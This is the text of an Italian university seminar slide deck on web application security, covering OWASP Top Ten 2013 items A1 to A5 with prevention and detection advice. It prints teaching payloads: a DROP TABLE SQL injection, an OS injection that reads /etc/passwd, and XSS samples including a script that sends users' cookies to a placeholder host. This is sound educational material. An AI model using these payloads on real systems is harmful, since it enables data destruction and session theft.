Seminario sulla sicurezza delle applicazioni web

Sicurezza informatica
Università degli Studi di Verona
Corso di Laurea Magistrale in Informatica
Seminario sulla sicurezza delle applicazioni web
Andrea Zwirner
[email protected]
@AndreaZwirner
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
1
Chi sono
●
●
Mi interesso di sicurezza informatica dallo scorso millennio
–
“Connettere” significava “intrecciare”
–
Hacker non aveva ancora alcun significato
Ho fondato Linkspirit, azienda che si occupa di
–
Consulenza nella progettazione sicura di software e
sistemi
–
Verifiche di sicurezza su software e sistemi
–
Formazione in materia di sicurezza informatica
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
2
Cosa faccio
●
Partecipo a diversi progetti liberi legati la divulgazione della cultura
sulla sicurezza informatica
www.isecom.org
www.hackerhighschool.org
www.owasp.org
Progetto scuole
25 novembre 2014
Università degli Studi di Verona
www.progettoscuole.it
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
3
Di cosa parliamo oggi
●
Esamineremo le 10 vulnerabilità più rischiose in ambito web
application secondo il top ten project di Owasp
–
Descrizione tecnica
–
Impatti tecnici e di business
–
Scenari ed esempi d'attacco
–
Modalità di prevenzione
–
Modalità di rilevazione
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
4
Di cosa parliamo oggi
●
●
Esamineremo le 10 vulnerabilità più rischiose in ambito web
application secondo il top ten project di Owasp
–
Descrizione tecnica
–
Impatti tecnici e di business
–
Scenari ed esempi d'attacco
–
Modalità di prevenzione
–
Modalità di rilevazione
Il tutto dopo un bel “pippolone” introduttivo sull'importanza
sociale della sicurezza informatica
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
5
La sicurezza informatica
●
Insieme di misure di carattere organizzativo, tecnologico e
procedurale mirate a garantire
–
CONFIDENZIALITÀ
–
INTEGRITÀ
–
DISPONIBILITÀ
dell'informazione.
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
6
Come funziona
●
Definizione di politiche di accesso a servizi e informazioni
–
autenticazione
–
autorizzazione
→
●
Difesa perimetrale
●
Difesa interna
●
Formazione degli utenti
25 novembre 2014
Università degli Studi di Verona
chi può fare cosa
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
7
Sicurezza informatica offensiva
●
●
●
Utilizzo di strumenti e metodologie usate dagli attaccanti reali
Accesso a servizi ed informazioni senza possedere i permessi
previsti dalle politiche di sicurezza
–
Lettura
→
Confidenzialità
–
Scrittura
→
Integrità / Disponibilità
Evidenzia le vulnerabilità di sicurezza
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
8
Sicurezza applicativa
●
Modellazione ed analisi dei rischi derivanti dal software
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
9
Sicurezza applicativa
●
●
Modellazione ed analisi dei rischi derivanti dal software
Consapevolezza di analisti, sviluppatori, beta tester, utenti
finali
–
Sviluppo dell'architettura (secure by design)
–
Ciclo di sviluppo del software
–
Scrittura del codice
–
Controlli di sicurezza comuni nelle fasi di test / review
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
10
Sicurezza applicativa
●
●
Modellazione ed analisi dei rischi derivanti dal software
Consapevolezza di analisti, sviluppatori, beta tester, utenti
finali
–
Sviluppo dell'architettura (secure by design)
–
Ciclo di sviluppo del software
–
Scrittura del codice
–
Controlli di sicurezza comuni nelle fasi di test / review
–
Utilizzo consapevole da parte degli utenti finali
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
11
Sicurezza applicativa
Il problema non è tecnologico, ma culturale!
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
12
Il problema è culturale
●
●
Possiamo immaginare la sicurezza come una catena
composta da anelli tecnologici ed umani
Portare a buon fine un attacco informatico significa riuscire a
rompere questa catena
●
Una catena è resistente quanto il suo anello più debole
●
L'anello più debole della catena è la componente umana
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
13
Qual è l'idea da cui dobbiamo liberarci
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
14
In realtà le cose vanno così
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
15
In realtà le cose vanno così
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
16
In realtà le cose vanno così
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
17
In realtà le cose vanno così
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
18
La strategia europea
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
19
Consapevolezza
Se non si coinvolgono gli utenti, ogni sforzo è vano
“Ensuring cybersecurity is a common responsibility. End users play a crucial
role in ensuring the security of networks and information systems: they need to
be made aware of the risks they face online and be empowered to take simple
steps to guard against them.”
Cybersecurity Strategy of the European Union
Commissione europea, febbraio 2013
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
20
La strategia italiana
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
21
Consapevolezza
“[…] al fine di rafforzare le capacità nazionali di prevenzione, reazione e
ripristino […] individua come nodi primari […]:
promozione e diffusione della cultura della sicurezza cibernetica sia tra i
cittadini che all’interno delle istituzioni [...] al fine di accrescere il livello di
consapevolezza e di conoscenza della minaccia e dei relativi rischi”
Quadro strategico nazionale per la sicurezza dello spazio cibernetico
Presidenza del Consiglio dei Ministri, dicembre 2013
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
22
Sicurezza delle applicazioni web
●
Il web non è stato progettato per essere ne dinamico ne sicuro
–
Contenuti statici in sola lettura
–
Nessuna sicurezza implicita (o “by design”)
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
23
Sicurezza delle applicazioni web
●
●
Il web non è stato progettato per essere ne dinamico ne sicuro
–
Contenuti statici in sola lettura
–
Nessuna sicurezza implicita (o “by design”)
Il Web 2.0 eredita queste peculiarità dal suo predecessore,
fornendo
–
Svariati petabyte di informazioni di miliardi di utenti (privati,
aziende, banche e governi)
–
Accesso diretto alle macchine degli utenti stessi
–
Ampia superficie d'attacco
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
24
Superficie d'attacco
www.draw-shapes.de
web server
web service
www.draw-shapes..de
firewall
draw-shapes.de
client
utente/sistma
database
controllo
accessi
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
autenticazione
25
La metodologia
OWASP
Open Web Application Security Project
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
26
Open Web Application Security Project
●
●
Associazione senza scopo di lucro
Missione: aumentare la visibilità relativa la sicurezza del
software al fine di permettere di prendere decisioni informate
ad imprese ed individui
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
27
Di cosa si occupa OWASP
●
●
●
Si occupa di ricerca e divulgazione della cultura della
sicurezza
Mantiene svariati (e rinomati) progetti legati la sicurezza
applicativa
Includono informazioni circa librerie, API, best practices,
auditing, suddivisi nelle tre categorie
–
Protect
–
Detect
–
Life Cycle
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
28
Top Ten Project
●
●
●
●
Descrive le dieci vulnerabilità valutate come più rischiose in
ambito web application
Indirizzato a sviluppatori, designer, manager ed organizzazioni
Fornisce linee guida per prevenire e rilevare le vulnerabilità
descritte
Indipendente da linguaggio / framework utilizzato
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
29
Progetti OWASP interessanti
●
Mobile Security Project
–
Top Ten Mobile Risks
–
Top Ten Mobile Controls
ENISA – European Network and Information Security Agency
●
Development Guide
●
Secure Coding Practices - Quick Reference Guide
●
Code Review Guide
●
Testing Guide – Web Goat Project
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
30
Top Ten 2013
●
A1: Injection
●
A2: Broken Authentication and Session Management
●
A3: Cross-Site Scripting (XSS)
●
A4: Insecure Direct Object References
●
A5: Security Misconfiguration
●
A6: Sensitive Data Exposure
●
A7: Missing Function Level Access Control
●
A8: Cross-Site Request Forgery (CSRF)
●
A9: Using Known Vulnerable Components
●
A10: Unvalidated Redirects and Forwards
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
31
A1 - Injection
●
●
La vulnerabilità
–
Si verifica quando dati non fidati sono inviati direttamente
ad un interprete (SQL, OS, LDAP, etc)
–
Un attaccante può inviare richieste forgiate in modo da
forzare l'interprete ad eseguire comandi non previsti
Vettori d'attacco
–
Qualunque fonte di dati, incluse quelle interne
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
32
A1 – impatti
●
Difficoltà di sfruttamento: semplice
●
Impatto tecnico: grave
●
–
Takeover del completo database (e.g. sqlmap)
–
Eliminazione / alterazione dei dati gestiti dall'interprete
–
Blocco / corruzione / possesso del sistema informatico
Impatto sul business: non determinato
–
Proporzionale all'importanza dei dati gestiti a livello di business
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
33
A1 – esempio di SQL Injection
●
Parametrizzazione insicura di una query SQL
1.
2.
3.
4.
var_id = _post(id);
query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;
result = invia_query_al_database(query);
fai_qualcosa_con(result);
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
34
A1 – esempio di SQL Injection
●
Parametrizzazione insicura di una query SQL
1.
2.
3.
4.
●
var_id = _post(id);
query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;
result = invia_query_al_database(query);
fai_qualcosa_con(result);
Parametri attesi
_post(id) = n naturale (o, al più, intero)
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
35
A1 – esempio di SQL Injection
●
Parametrizzazione insicura di una query SQL
1.
2.
3.
4.
●
var_id = _post(id);
query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;
result = invia_query_al_database(query);
fai_qualcosa_con(result);
Parametri attesi
_post(id) = n naturale (o, al più, intero)
●
Esempio di parametro inatteso
_post(id) = 23'; DROP TABLE tab; --
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
36
A1 – esempio di SQL Injection
●
Parametrizzazione insicura di una query SQL
1.
2.
3.
4.
●
var_id = _post(id);
query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;
result = invia_query_al_database(query);
fai_qualcosa_con(result);
Parametri attesi
SELECT * FROM tab WHERE id = '23'; DROP TABLE tab; --'
_post(id) = n naturale (o, al più, intero)
●
Esempio di parametro inatteso
_post(id) = 23'; DROP TABLE tab; --
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
37
Injection fun!
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
38
Titolo
ZU 0666',0,0); DROP DATABASE TABLICE; -25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
39
A1 – esempio di OS Injection
●
Parametrizzazione insicura di un comando shell
1.
2.
3.
4.
●
var_ip = _post(ip);
command = “/bin/ping -c2 ” + var_ip;
result = esegui_comando(command);
stampa_nella_pagina(result);
Parametri attesi
_post(ip) = ip (indirizzo IP(v4))
●
Esempio di parametro inatteso
_post(ip) = 127.0.0.1; cat /etc/passwd
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
40
It's demo time!
Facciamo una prova, vi va?
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
41
It's demo time!
Esempio 1
Dimostrazione in laboratorio
Esempio 2
Report di penetration test
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
42
Injection fun, reprise!
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
43
A1 - prevenzione
●
●
●
Utilizzare API che neghino l'uso diretto dell'interprete,
fornendo un interfaccia parametrizzata
Fare escaping dei caratteri speciali, usando le sequenze
specifiche per l'interprete
Attenzione: utilizzare WAF o white list canonizzando i comandi
permessi può essere utile, ma non necessariamente risolutivo
–
C'è sempre chi conosce le regexp meglio di te!
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
44
A1 – rilevazione
●
Se non sono stati definiti pattern di sviluppo, si è vulnerabili.
●
Revisione del codice
–
●
Verifica della separazione fra gli interpreti ed i dati non
fidati
Penetration test
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
45
A1 – Esempio di parametrizzazione sicura
●
Parametrizzazione sicura di una query (PHP + MySQL +
mysqli)
1. $var_id = $_POST['id'];
2. $query = $db_conn->prepare('SELECT * FROM tab WHERE id = ?');
3. $query.bind_param('id', $var_id);
4. $query.execute();
5. $result = $query.get_result();
6. fai_qualcosa_con($result);
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
46
A2 – Broken Authentication and Session Management
●
La vulnerabilità
–
●
Si verifica quando le funzioni legate ad autenticazione e
gestione delle sessioni permettono la compromissione di
password, chiavi o token di sessione o hanno falle
nell'implementazione che possono portare ad assumere
l'identità di utenti legittimi
Vettori d'attacco
–
Sistemi di autenticazione ed autorizzazione
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
47
A2 - impatti
●
Difficoltà di sfruttamento: media
●
Impatto tecnico: grave
–
●
Accesso con i privilegi di autorizzazione di qualunque
utente, anche amministrativo
Impatto sul business: non determinato
–
Proporzionale al valore di business dei dati trattati o delle
funzioni applicative
–
Considerare l'impatto sul business della pubblicazione
della falla (attacchi e reputazione)
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
48
A2 – scenari d'attacco
●
●
●
●
●
Brute force su password o username – password deboli
Predizione di identificativo di sessione o credenziali di
accesso
Replay – autenticazione al di fuori di un canale crittografato
Session spotting – assegnazione di sessione al di fuori di un
canale crittografato
Session fixation – assegnazione malevola di sessione
precedente-mente avviata
●
Timeout di sessione troppo lunghi o inesistenti
●
Password non crittografate o non salate nella base dati
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
49
A2 - prevenzione
●
Mettere a disposizione degli sviluppatori un singolo e sicuro
insieme di controlli per l'autenticazione e la gestione delle
sessioni che
–
Abbia un'interfaccia semplice da utilizzare
–
Sia ben documentato
–
Aderisca ad uno standard affiabile
●
●
Application Security Verification Standard (ASVS)
Verificare che i controlli non siano vulnerabili ad attacchi di
tipo XSS (→ A3: XSS), che permetterebbero il furto di
sessioni
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
50
A2 – rilevazione
●
Il concetto principe è la verifica di protezione di credenziali ed
id di sessione
–
Le credenziali sono salvate usando hash (salted) o
crittografia?
–
E' possibile indovinare o modificare le credenziali mediante
errori nelle funzioni di gestione degli account?
–
Creazione, cambio / recupero password, etc
–
Gli id di sessione sono esposti negli URL?
–
Gli id di sessione sono vulnerabili ad attacchi del tipo
session fixation?
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
51
A2 – rilevazione
●
Le sessioni hanno timeout?
●
Gli utenti possono disconnettersi?
●
●
Gli id di sessione sono cambiati in seguito ad ogni variazione
del livello di autorizzazione?
Le password e gli id di sessione sono scambiati attraverso
canali crittografati? (→ A6: Sensitive Data Exposure)
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
52
A3 – Cross-Site Scripting (XSS)
●
●
La vulnerabilità
–
Si verifica quando un'applicazione include informazioni non
fidate nei contenuti serviti agli utenti.
–
L'attacco consiste nell'inviare ai browser degli utenti script
che ne sfruttano l'interprete.
Vettori d'attacco
–
Qualunque fonte di informazioni, comprese quelle interne,
come il database
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
53
A3 – impatti
●
Difficoltà di sfruttamento: media
●
Impatto tecnico: moderato
–
●
Esecuzione di script lato client (dentro al browser): furto di
sessioni, inserimento di contenuti ostili, redirezione utenti,
etc
Impatto sul business: non determinato
–
Importanza di business del sistema e dei dati che elabora
–
Impatto sul business della pubblicazione della falla
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
54
A3 – tipologie
●
Le falle di tipo XSS si dividono in tre tipologie
–
Stored XSS
●
–
Reflected XSS
●
–
Il codice malevolo è persistente lato server (database)
Il codice malevolo è contenuto nella risposta data dal
server ad una richiesta forgiata opportunamente
DOM based XSS
●
Il codice malevolo è frutto della modifica all'ambiente
DOM del browser dell'utente (avviene tutto lato client)
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
55
JavaScript browser environment
Document Object Model (DOM)
Browser Object Model (BOM)
JavaScript objects and functions
document and related objects allow to
access contents of the page, modify
elements etc. Most interaction with
HTML is handled here.
BOM is a pack of objects that allow to
control the browser, e.g change current
URL, access frames, do background
requests to server with XMLHttpRequest
etc. Functions like alert,confirm,prompt
also belong BOM, they are provided by the
browser.
JavaScript itself is a language which
gives us access to DOM, BOM and
provides objects and functions of its
own.
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
56
A3 – scenari d'attacco
●
Un applicazione web salva a database il contenuto di un
modulo per poi riproporlo a tutti gli utenti del sito (es. “lascia
un commento”)
Nome:
Commento:
25 novembre 2014
Università degli Studi di Verona
“Andrea”
“questo è un bel sito!”
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
57
A3 – scenari d'attacco
●
Un applicazione web salva a database il contenuto di un
modulo per poi riproporlo a tutti gli utenti del sito (es. “lascia
un commento”)
Nome:
Commento:
●
“Andrea”
“questo è un bel sito!”
Il risultato sarà qualcosa del tipo
<html>
<h1>Commenti degli utenti</h1>
Tizio: ma che nome c'ho?<br/>
Caio: a chi lo dici!<br/>
Andrea: questo è un bel sito!<br/>
</html>
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
58
A3 – scenari d'attacco
●
Fin qui tutto bene, ma se invece come commento fosse stato
inserito:
“bello davvero! <script>alert('XSS');</script>”
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
59
A3 – scenari d'attacco
●
Fin qui tutto bene, ma se invece come commento fosse stato
inserito:
“bello davvero! <script>alert('XSS');</script>”
●
La pagina sarebbe diventata:
<html>
<h1>Commenti degli utenti</h1>
Tizio: ma che nome c'ho?<br/>
Caio: a chi lo dici!<br/>
Andrea: bello davvero! <script>alert('XSS');</script><br/>
</html>
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
60
A3 – scenari d'attacco
●
Risultato: esecuzione di codice arbitrario all'interno del
browser degli utenti del sito!
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
61
Il celebre alert('XSS')
●
Si tratta di un attacco famoso: ha anche un profilo su Linkedin!
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
62
A3 – scenari d'attacco
●
Un attaccante può inviarsi i cookie di tutti gli utenti (e quindi
anche gli ID di sessione) ed impersonarli all'interno del sito.
–
Nome:
–
Commento:
Andrea
<script>
new Image.src='http://x.y.z.w/ruba_cookie.cgi?dati='
+ document.cooke;
</script>
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
63
A3 – prevenzione (?)
●
Impedire l'inserimento dei tag <script> e </script>!
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
64
A3 – prevenzione (?!)
●
Impedire l'inserimento dei tag <script> e </script>…
NON RISOLVE IL PROBLEMA!!!
●
Nome:
Andrea
●
Commento:
<img src=”XXX” onError=”alert('XSS');”>
●
Facilmente estensibile ai tag <a> e <div>, con gli eventi
onMouseOver, onMouseOut, onClick, etc
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
65
It's demo time!
Facciamo una prova, vi va?
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
66
A3 – prevenzione
●
●
Il concetto principe è quello di separare i dati non fidati dai
contenuti web (da inviare ai browser)
Fare escaping dei contenuti non fidati (JavaScript, CSS, URL,
etc)
–
●
Applicare white list per la validazione degli input
–
●
OWASP XSS Prevention Cheat Sheet
solo lettere, solo cifre, solo cifre + “/” (date), etc
Nei casi di rich contents, cosiderare l'uso di librerie di autosanization (→ OWASP AntiSamy)
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
67
A3 – rilevazione
●
Si è vulnerabili → Il database contiene già codice malevolo.
–
●
Esistono tool automatici per la ricerca delle falle
–
●
verificare che qualunque contenuto inviato sia gestito
correttamente (escaped) prima di includerlo in ogni pagina.
DOMinator di MindedSecurity
Ma l'unica certezza è combinare code review e penetration
test
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
68
A4 – Insecure Direct Object References
●
La vulnerabilità
–
●
Si verifica quando l'applicazione usa riferimenti diretti ad
oggetti (es. file, directory, chiavi db) per la generazione
delle pagine, senza verificare che l'utente che li richiede
abbia i permessi di autorizzazione necessari a manipolarli
Vettori di attacco
–
Cambio di riferimenti ad oggetti da parte di utenti
(eventualmente) autenticati in url o parametri GET/POST
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
69
A4 – impatti
●
Difficoltà di sfruttamento: semplice
●
Impatto tecnico: medio
–
●
Compromissione (lettura e/o scrittura) di tutti i dati
referenziati dal parametro
Impatti sul business: non determinati
–
Proporzionali al valore di business dei dati trattati
–
Considerare l'impatto sulla reputazione
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
70
A4 – scenari d'attacco
1. conto = _post['conto'];
2. query = prepara('SELECT * FROM conti WHERE conto = %',
conto);
3. result = invia_al_database(query);
4. fai_qualcosa_con(result);
●
L'attaccante non deve fare altro che modificare il parametro
POST conto ed otterrà il risultato per un conto per cui non
possiede autorizzazione.
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
71
Vi sembra banale?
●
Non lo è.
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
72
Il caso ASS 4
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
73
Il caso ASS 4
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
74
Il caso ASS 4
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
75
Il caso $Provider_Di_Servizi_Internet
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
76
Il caso $Provider_Di_Servizi_Internet
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
77
Il caso $Provider_Di_Servizi_Internet
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
78
Il caso $Provider_Di_Servizi_Internet
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
79
A4 – prevenzione
●
●
L'approccio è quello di proteggere qualunque oggetto
accessibile dagli utenti
–
Usare riferimenti indiretti agli oggetti (per utente o
sessione)
–
Esempio: non mettere gli id a database in una drop-down
list, ma una mappatura degli stessi generata
dinamicamente per la sessione attiva
Verificare l'autorizzazione prima effettuare qualunque
operazione sui dati (lettura compresa!)
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
80
A4 – esempio sicuro
●
Mappatura degli oggetti
1. query = prepara('SELECT prendiContiDaSessione(%)', session_id);
2. conti[] = invia_al_database(query);
3. metti_conti_in_dropdown(conti[], dropdown);
… qui c'è l'interazione dell'utente …
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
81
A4 – esempio sicuro
1. map_conto = prendi_indice_selezionato(dropdown);
2. query = prepara('SELECT verificaPermessi(%,%)',
conti[map_conto], session_id);
3. result = invia_al_database(query);
4. if (result) {
5.
tutto_ok_procedi();
6. } else {
7.
biasima_utente_e_disconnetti(session_id);
8. }
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
82
A4 – rilevazione e prevenzione
●
●
Verificare che tutti i riferimenti ad oggetto siano indiretti e
protetti adeguatamente
–
Mappatura dinamica e limitata alle risorse cui l'utente (o la
sessione) ha autorizzazione
–
Accesso di default ai dati in sola lettura
–
Verifica d'autorizzazione in scrittura nel caso di successiva
richiesta di manipolazione degli oggetti referenziati
–
In caso di incongruenza chiudere le sessioni!!
Nel (malaugurato) caso di necessità di riferimenti diretti,
valgono le stesse regole!
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
83
A5 – Security misconfiguration
●
●
La vulnerabilità
–
Si tratta di errate configurazioni.
–
Possono insidiarsi a qualunque livello dello stack
applicativo (infrastruttura, web server, app. server,
framework, librerie esterne, codice).
–
Occorre coordinazione tra sviluppatori, amministratori di
rete e sistemisti!
Vettori d'attacco
–
Account di default, pagine inutilizzate, falle non patchate (a
qualunque livello), file o directory non protetti, modalità di
debug attiva, etc
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
84
A5 - impatti
●
Difficoltà di sfruttamento: semplice
●
Impatto tecnico: moderato
●
●
Accesso ed informazioni e funzionalità di sistema. Può portare
alla sua totale compromissione (anche silente e persistente).
Impatto sul business: non determinato
–
Il sistema può essere totalmente compromesso ed i dati
rubati, modificati o eliminati.
–
I costi di analisi e recupero del sistema (ove possibile)
possono essere molto ingenti
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
85
A5 – prevenzione
●
●
●
●
Definire una procedura di deployng ed hardening ripetibile per
un eventuale recovery indolore
Ambienti di sviluppo, test e produzione devono essere identici
sia architetturalmente che nella configurazione
Definire una procedura per mantenere allineato all'ultima
versione stabile (e compatibile) tutto lo stack (sia testing che
deployng)
Considerare l'eventualità di effettuare periodicamente scan
automatizzati, audit e/o penetration test a tutta l'infrastruttura
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
86
A5 – rilevazione
●
●
●
Per ogni software utilizzato (so, web server, app server,
framework, librerie, etc), rispondere alle domande:
–
Esiste un processo per tenere tutto il sistema aggiornato
(incluse tutte le librerie applicative)?
–
E' stato disabilitato tutto ciò che non è necessario?
–
Sono stati applicati di tutti i criteri di hardening (e best
practices) per ogni componente dell'infrastruttura?
Nel caso si risponda no a qualcosa, si saprà dove andare a
cercare.
